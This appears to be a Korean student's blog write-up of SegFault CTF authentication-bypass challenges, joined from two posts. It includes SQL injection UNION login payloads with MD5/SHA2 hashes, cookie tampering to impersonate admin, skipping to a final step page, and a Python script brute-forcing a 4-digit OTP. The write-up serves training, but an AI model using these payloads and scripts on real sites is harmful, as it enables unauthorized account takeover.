그렇다면 비밀번호를 평문으로 저장하지 않았을 가능성을 생각해볼 수 있다.

$id = $_POST['id'];
$pw = $_POST['pw'];

$sql = "SELECT id,pw FROM member WHERE id='{$id}'";
$result = $db_conn->query($sql);

$row = $result->fetch_array();
if(md5($row['pw']) === $pw) {
	// Login Success
} else {
	// Login Fail
}

로그인 로직이 이렇게 되어있다면 UNION을 통해 자신이 임의로 쓸 비밀번호를 암호화할 필요가 있다.

직접 암호화해서 해볼 수도 있지만 SQL은 기본적으로 Hash 함수를 제공한다. 따라서 SQLi를 이렇게 작성해볼 수 있다.

 ID: ' UNION SELECT 'normaltic4',MD5('blah') #
PW: blah
ID: ' UNION SELECT 'normaltic4',SHA2('blah') #
PW: blah

어떤 방식으로 암호화됐는지 모르니 여러가지로 시도해봐야 한다.

또한, 아까 위에서 의심했던 것처럼 id와 pw의 순서가 바뀌었을 수도 있다는 점을 의심해야한다.

Second SQLi Try
Flag

다행히도 그렇게 꽁꽁 숨겨져 있진 않았다.

9. Login Bypass 5

Login Bypass 5

만약 Burp Suite로 패킷 송수신 과정부터 꼼꼼하게 살펴보는 습관이 있다면 이 문제는 굉장히 쉽게 풀 수 있다.

 

login.php Request & Response

옛날옛적 문제처럼 또 `Set-Cookie`를 이용해 쿠키를 지정해준다.

이번에도 쿠키 변조를 시도해보겠다.

Cookie Poisoning
Request as normaltic5
Flag

굉장히 쉽게 Flag를 따낼 수 있다.

 

'Study > with normaltic' 카테고리의 다른 글

SegFault CTF - 6주차  (0) 2025.05.14
SegFault CTF - 5주차 - 번외  (0) 2025.05.07
SegFault CTF - 5주차 - 1  (0) 2025.05.06
SegFault CTF - 4주차  (0) 2025.04.24
로그인 유지: 쿠키 & 세션  (0) 2025.04.23

Authentication Bypass

5주차 CTF

이번 5주차의 CTF에서는 문제가 9개로 늘어났다. 바로 write-up으로 들어가겠다.

1. Get Admin

Get Admin
login.php

주어진 주소로 들어오면 단순한 로그인 창이 반겨준다. 문제에서 ID: `doldol`, PW: `dol1234`라는 로그인 정보를 줬으니 한 번 로그인해보겠다.

index.php

별 거 없다. 상단의 Home, About, Contact 버튼을 눌러도 아무런 작동도 하지 않는다. (Log out 버튼은 로그아웃으로 작동한다)

지난번에 이용했던 Burp Suite를 이용해서 어떤 패킷이 오가는지 살펴보겠다.

login.php : Request & Response

빨간색 네모를 보면 내가 작성한 ID와 PW가 패킷 바디 부분에 담겨 전달된다. 서버에서는 ID와 PW를 검사한 뒤, 적합하다면 `loginUser`라는 쿠키에 ID값을 담아서 준다. 응답코드가 302인 것과, `Location` 값이 index.php인 것을 보아 바로 index.php 파일로 리다이렉션을 시킨다.

index.php : Request & Response

클라이언트는 `loginUser`의 쿠키값으로 `doldol`을 전달하고, 그에 대한 답으로 서버는 `200 OK`를 띄운다.

index.php에 접근할 때는 쿠키값으로만 인증하는 것이 아닌가 하는 생각이 들 수 있다. 따라서 `loginUser`의 쿠키값을 `admin`으로 변조해보겠다.

정확히는, 서버가 Set-Cookie를 통해 쿠키를 전달할 때 그 값을 `admin`으로 변조해보겠다.

Request & Response

Resposne의 `Set-Cookie` 값을 변조해서 받겠다.

Request to index.php

그럼 클라이언트는 자연스럽게 이 `admin`이라는 쿠키값을 이용해 index.php를 요청한다.

Flag

Flag를 얻을 수 있다.

2. PIN CODE Bypass

PIN CODE Bypass

핵미사일을 발사하라고 한다. 나같은 평화주의자에게 어떻게 이런 가혹한 시련을..

Nuclear Missile System
admin only

바로 발사할 수 있는 줄 알았더니 관리자만 이용 가능하다고 한다.

하지만 URL을 보다보면 약간 특이한 점을 발견할 수 있다.

/3/
index.php

처음 이 상태는 단순히 index.php인 것으로 보인다. 하지만 Fire를 누르면 아예 다른 파일로 접근한다.

/3/step1.php

 

step1.php

여기서 확인 버튼을 누른다면 또다른 페이지로 이동한다.

/3/step2.php
step2.php

그렇다면 아예 step3.php를 들어가버리면 되는거 아닌가?

step3.php

그냥 발사하게 해준다..

Fire 버튼을 누르면 다음과 같이 Flag가 뜬다.

Flag

3. Admin is Mine

Admin is Mine

또 admin을 털라고 한다.

이번엔 login.js라는 새로운 파일을 같이 받았다. 해당 파일의 내용은 다음과 같다

const HIDDEN_CLASS = "hidden";

const loginForm = document.querySelector("form");

function onLogin(e) {
  e.preventDefault();

  const userId = loginForm.querySelector("#inputUserid").value;
  const userPw = loginForm.querySelector("#inputPassword").value;

  const url = `/4/loginProc.php?userId=${userId}&userPw=${userPw}`;

  fetch(url)
    .then((response) => response.json())
    .then((data) => {
      const resultData = data.result;

      console.log(resultData);
      if (resultData == "ok") {
        // login Success
        const errorMessage = document.querySelector("#errorMsg");
        errorMessage.classList.add(HIDDEN_CLASS);

        location.href = "index.php";
      } else {
        // login Fail
        const errorMessage = document.querySelector("#errorMsg");
        errorMessage.classList.remove(HIDDEN_CLASS);
      }
    });
}

loginForm.addEventListener("submit", onLogin);

loginProc.php로 입력된 ID와 PW를 보내 결과를 확인한 뒤, 클라이언트를 index.php로 보내는 것 같다.

단순히 loginProc.php로 ID와 PW를 보낼 때 PW를 안 보내고 ID만 넘기면 어떻게 되는가 궁금해서 해봤다.

Only ID

200 OK가 돌아오긴 했지만 내용은 괴상한 값을 담고 있었다.

하지만 Burp Suite의 HTTP history를 보니, login.js가 자동으로 index.php을 요청했던 것에 대한 응답이 있었다.

Flag

뚫렸다.

4. Pin Code Crack

Pin Code Crack

지금까지 본 사이트들과는 디자인이 좀 다르다. LOGIN을 눌러보겠다.

LOGIN

?

이걸 내가 어떻게 알지. 당장 저 전화번호로 개통할 수도 없는 노릇이다. 

하지만 숫자 4자리라는 힌트가 주어졌다. 만약 이 사이트가 시도 횟수에 제한을 두지 않았다면, 0000 ~ 9999까지 무한으로 도전을 하면 된다.

생각해보니 0000부터 9999까지 다 입력하려면 내 정신건강이 안 좋아질 것 같다.

마침 checkOTP.php에 GET으로 숫자 4자리를 보내, 맞는지 체크하는 것을 알 수 있다.

아마 정확한 숫자가 아니라면 다 똑같은 Login Fail 결과를 띄울 것이다. 그 말인즉슨, Response의 Content 길이가 전부 똑같을 것이라는 것이다.

0부터 9999까지 시도하면서 유일하게 Content-Length의 값이 다른 하나의 숫자를 찾아내면 된다. 일단 0000으로 시도했을 때의 Response 패킷을 살펴보자.

Login Fail Response

우리에게 필요한 것은 빨간색 네모로 강조된 `Content-Length`다. 이제부터 시도한 숫자가 틀린다면 전부 `83`의 길이를 가진 내용이 돌아올 것이다. 이를 이용해 파이썬으로 무한반복을 돌릴 코드를 짤 수 있다.

import requests

origin_url = '~~~/6/checkOTP.php?otpNum='

for i in range(0,10000):
    url = origin_url + str(i)
    r = requests.get(url)
    if(r.headers['Content-Length'] != '82'):
        print('OTP:', i)
        print('======================')
        print('Length:', r.headers['Content-Length'])
        break

사실 파이썬을 이용해 요청을 해서 Login Fail이 뜨면 `Content-Length`가 `82`로 나온다. 따라서 코드에서는 `82`로 비교했다.

Result
Flag

 

Login Bypass 시리즈는 다음 글에 작성하겠다.

'Study > with normaltic' 카테고리의 다른 글

SegFault CTF - 5주차 - 번외  (0) 2025.05.07
SegFault CTF - 5주차 - 2  (1) 2025.05.06
SegFault CTF - 4주차  (0) 2025.04.24
로그인 유지: 쿠키 & 세션  (0) 2025.04.23
PHP와 MySQL  (0) 2025.04.16

+ Recent posts